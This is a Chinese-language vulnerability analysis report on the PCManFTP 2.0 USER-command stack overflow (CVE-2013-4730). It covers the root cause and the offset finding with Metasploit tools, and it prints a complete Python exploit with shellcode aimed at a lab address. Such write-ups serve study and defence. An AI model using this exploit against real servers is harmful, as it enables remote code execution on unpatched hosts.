PCManFTP v2.0(CVE-2013-4730)漏洞分析报告

软件名称:PCManFTP
软件版本:2.0
漏洞模块:PCManFTPD2.exe
模块版本:2.0.0.0
编译日期:2005-01-01 操作系统:Windows XP/2003/7/8.1/10
漏洞编号:CVE-2013-4730
危害等级:高危 
漏洞类型:缓冲区溢出
威胁类型:远程

分析人:李嘉诚
2017年7月10日
目录
1. 软件简介 2
2. 漏洞成因 2
3. 利用过程 2
4. PoC 2
5. 结语 2
6. 参考资料 3

1. 软件简介
PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
……
2. 漏洞成因
PCMan’s FTP Server 2.0.0版本中存在远程的缓冲区溢出漏洞。软件在接受数据包时申请了0x1004的缓冲区,每个数据包的最大为0x1000(4kb),并将接受到的数据作为字符串进行处理,并将字符串以”/r/n”作为每条指令的分割符,所以一条指令的最大长度可以达到0x1000(4kb)。但在解析指令时,使用函数sprintf进行对指令连接字符串的操作,连接字符串的缓冲区为0x800,并且没有对指令长度进行判断,导致存在栈溢出漏洞
远程攻击者可借助USER命令,不进行登录,利用该漏洞执行任意代码。

3. 利用过程
1. 使用python编写模拟ftp客户端登录脚本
#coding=utf-8
import socket
address = ('192.168.176.1', 21)
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect(address)
print(sockfd.recv(0x400).decode('utf-8'))
buff = b'USER ' ;
with open('user.dat', 'rb') as fp:
buff += fp.read() ;
sockfd.send(buff)
print(sockfd.recv(0x400).decode('utf-8'))

2. 利用模糊测试框架生成输入,并构造USER指令
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2600 > user.dat
3. 测试,根据软件崩溃时的异常偏移定位溢出点
 root@kali:~/vulne/cve-2013-4730#  /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2600 -q 0x376f4336
[*] Exact match at offset 2000

4. 在程序中查找稳定的跳板指令
 
5. 调试,确定参数个数
6. 编写exploit
#coding=utf-8
import socket
import struct

print("%s:%d"%('192.168.176.1' , 21))
address = ('192.168.176.1', 21)
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect(address) 
print(sockfd.recv(0x400).decode('utf-8'))
buff = b'USER ' 
buff += b'\x90'*2000 
buff += struct.pack("<I", 0x7095A6C7) #ret_address
buff += b'\xcc\xcc\xcc\xcc' #paramter
#shellCode
buff+=b"\xE8\xFF\xFF\xFF\xFF\xC3\x58\xFC\x8D\x70\x17\x8B\xFE\x99\xB2\x1B\x33\xC9\x66\xB9\xB8\x01\xAC\x32\xC2\xAA\xE2\xFA"
buff += b"\x98\xf7\x64\x98\xf7\x64\x98\xf7\x64\x98\xff\xe7\x96\x67\x3f\x5b"
buff+=b"\xf0\x3b\x9c\x29\xc3\xdb\xd2\xa7\xbd\x70\x78\x92\xca\x54\x26\x71"
buff += b"\xaf\x9b\x36\x29\x63\xc5\x7f\x0b\xbc\xc6\x17\x84\xc8\x50\xaa\x05"
buff += b"\x8c\x1a\xf3\xe4\xe4\xe4\xe4\xd8\x41\x98\xf1\x3e\x28\xdb\x7f\x90"
buff+=b"\x5b\x2b\x90\x5b\x17\x90\x5b\x07\x98\xf3\x1a\x90\x5b\x1a\x90\x43"
buff+=b"\x13\x90\x58\x27\x18\xd8\x90\x5b\x63\x18\xd8\x90\x53\x07\x18\xd0"
buff+=b"\x4a\x90\x53\x3f\x18\xd0\x4a\x90\x5b\x3b\x18\xd8\x28\xd2\x4b\x49"
buff += b"\x82\x90\x2f\x93\x18\xe8\x89\x82\x49\xda\xf9\x02\xda\x37\x3f\x1c"
buff += b"\x12\x0f\x3f\x41\x18\xcb\xb7\x9f\xdb\x6e\xf6\x43\x20\x0b\x89\x43"
buff += b"\x6f\x18\x5a\xf0\xc2\x43\x7d\x90\x17\x53\x14\xac\xd2\x43\x90\x1f"
buff+= b"\x93\x18\xd8\xb0\x98\xd9\x1f\x9a\x21\xd2\xa7\xbd\x70\x6f\x08\x9a"
buff += b"\x21\x26\x71\xaf\x9b\x6f\x36\x9a\x61\xe7\xaa\x05\x8c\x1a\x6f\x5e"
buff+=b"\xf0\x94\x49\x82\x49\xa3\x7e\x77\x28\x29\x4b\xa3\x70\x7e\x69\x75"
buff+= b"\x4b\x90\xdf\x49\x49\x4b\xe4\x4c\xe7\x42\x42\x42\x41\x90\xc3\xf2"
buff+=b"\x76\xe4\xe4\xe4\x49\x82\x89\x82\x7d\xa3\x28\x29\x4b\xa3\x6c\x68"
buff+= b"\x29\x44\x4b\x90\xdf\x49\x49\x4b\xe4\x4c\xef\x42\x42\x41\x90\xc3"
buff+=b"\xf2\x57\xe4\xe4\xe4\x82\x89\x8a\xaa\x0b\x8c\x88\x82\x89\x90\xe7"
buff+= b"\xe8\xb0\x4f\x7d\xa2\x19\x19\x4a\xe4\x48\xf7\x42\x42\x42\x42\x71"
buff+=b"\x1d\x71\x1a\x71\x19\xe4\x48\xeb\x8c\x82\x7d\xa1\x12\x06\xda\xf9"
buff+= b"\x0b\xa9\x19\x49\x90\xdf\x71\x0b\x4b\x4c\xe4\x48\xef\x42\x42\x71"
buff+=b"\x0b\x4c\xe4\x48\xe3\x4c\xe4\x48\xe7\x82\x4b\x4b\x4b\x49\x49\xa9"
buff+= b"\x0b\xda\xf9\x1f\x49\x82\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buff += b"\x71\x5f\x90\xdf\x7d\xa1\x76\x7f\xda\xf9\x13\xa9\x78\x49\x90\xd7"
buff+= b"\x4f\x4b\x82\x49\x49\xa9\x13\xda\xf9\x03\x49\x49\x82\x49\x49\x4a"
buff += b"\x49\xe4\x48\xff\x82\x49\xe4\x48\xf3\x1b"

print("send len:%d"%sockfd.send(buff)) 
print(sockfd.recv(0x400).decode('utf-8'))
4. PoC
程序中存在远程缓冲区溢出,并且没有使用GS栈安全检查,DEP数据执行保护,所以导致高危漏洞的存在
5. 结语
通过此次漏洞挖据到利用,认识到在分析的过程中思维要更加的灵活起来,工具要活用起来,逆向分析的能力还有待提高
6. 参考资料
任老师的精彩讲述

PCManFTP v2.0(CVE-2013-4730)漏洞分析报告相关推荐

  1. RiskSense Spotlight:全球知名开源软件漏洞分析报告

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 RiskSense 公司最近发布了关于全球当前知名开源软件 (OSS) 的漏洞分析报告.奇安信代码卫士团队编译如下.   摘要 开源软 ...

  2. Office 2003 sp3(CVE-2012-0158)漏洞分析报告

    文章目录 Office 2003 sp3(CVE-2012-0158)漏洞分析报告 1.漏洞背景 2.漏洞成因 2.1 触发漏洞 2.2 定位漏洞模块 2.3 定位漏洞函数 2.4 分析漏洞成因 2. ...

  3. wordpress 5.0.0 远程代码执行漏洞分析cve-2019-8943

    近日,wordpress发布一个安全升级补丁,修复了一个WordPress核心中的远程代码执行漏洞.代码修改细节可以参考wordpress团队于Dec 13, 2018提交的代码.据漏洞披露者文中所介 ...

  4. 暴雷(CVE-2012-1889)漏洞分析报告

    软件名称:Microsoft Internet Explorer 软件版本:6.0/8.0 漏洞模块:msxml3.dll 模块版本: 编译日期:2022-07-06 操作系统:Windows XP/ ...

  5. 用哪种语言写的应用漏洞最严重?六大主流语言代码漏洞分析报告出炉

    来源:机器之心 本文约1600字,建议阅读5分钟 静态代码分析安全公司 Veracode 近日发布了一份应用程序分析报告,结果发现比起 JavaScript 和 Python 等语言,C++ 和 PH ...

  6. 安天移动安全发布“大脏牛”漏洞分析报告(CVE-2017-1000405)

    一.背景简介 脏牛漏洞(CVE-2016–5195)是公开后影响范围最广和最深的漏洞之一,这十年来的每一个Linux版本,包括Android.桌面版和服务器版都受到其影响.恶意攻击者通过该漏洞可以轻易 ...

  7. 比葫芦娃还可怕的百度全系APP SDK漏洞 - WormHole虫洞漏洞分析报告

    瘦蛟舞 · 2015/11/02 10:50 作者:瘦蛟舞,蒸米 "You can't have a back door in the software because you can't ...

  8. CVE-2017-11882漏洞分析报告

    漏洞简介: 软件名称及版本:Microsoft Office2016以下 漏洞模块:EQNEDT32.EXE 漏洞编号:CVE-2017-11882 危害等级:高危 漏洞类型:缓冲区溢出 威胁类型:远 ...

  9. TP5 框架 SQL 执行流程分析及 5.0.9 SQL 注入漏洞分析

    文章目录 SQL查询流程 TP 5.0.9 SQL注入 修复 SQL查询流程 TP5手册:https://www.kancloud.cn/manual/thinkphp5/118044 在分析 tp5 ...

  10. 随缘php企业网站管理系统V2.0 shownews.php注入漏洞

    程序名称:随缘网络php企业网站管理系统2.0免费版 以下为系统的功能简介: 1.采用div+css布局经测试兼容IE及firefox主流浏览器,其他浏览器暂未测试. 2.产品新闻三级无限分类. 3. ...

最新文章

  1. python315题的漫漫通关之路
  2. leetcode613. 直线上的最近距离(SQL)
  3. Java注解的Retention和RetentionPolicy
  4. 手机mstsc远程工具_ToDesk — 免费不限速的远程控制软件
  5. 年夜饭之 -- 红烧黄鳝
  6. Java中跳出多层循环的简单方法
  7. kafka linux根目录满,Linux磁盘空间满的诡异问题解决方案
  8. 《C#图解教程》读书笔记之五:委托和事件
  9. C#、JS、HTML - 转义字符
  10. leetcode——给定一个整数数组和一个目标值返回两个数字对应的索引,使得这两个数字之和等于目标值
  11. 高通通过adb一键进入9008端口模式
  12. 微信公众号通知和服务通知
  13. “蔚来杯“2022牛客暑期多校训练营5 Don‘t Starve
  14. Python简单浪漫表白代码鲜花
  15. pycharm离线安装中文插件
  16. entity、bo、vo、po 如何理解和区分?
  17. 鲁班H5页面生成工具
  18. 西航计算机学院学生会,西航职院 | 19级计算机工程学院学生会召开纳新竞聘大会...
  19. 碳刷滑环在发电机中的作用
  20. 【stm32H7读内部flash程序】

热门文章

  1. pdf在html中加载不出来,pdf嵌入html解决办法
  2. 使用C++实现FC红白机模拟器 概述
  3. biopython有什么用_Biopython介绍
  4. php查重,知网查重时检测php之类的源码吗?【干货分享】
  5. 凯恩帝绝对坐标清零_KND凯恩帝数系统说明书.doc
  6. 【xxl-job源码篇01】xxl-job源码解读 神奇的时间轮 触发流程解读
  7. linux下如何查看tlq服务,谁能跟我讲解一下bashrc?
  8. mysql 共享锁(读写锁) 修改数据问题(update,insert)(LOCK IN SHARE MODE)
  9. hp服务器驱动有专门的网站吗,惠普官网的驱动是哪个网址
  10. Ansys APDL的超声换能器的模态分析(更新中)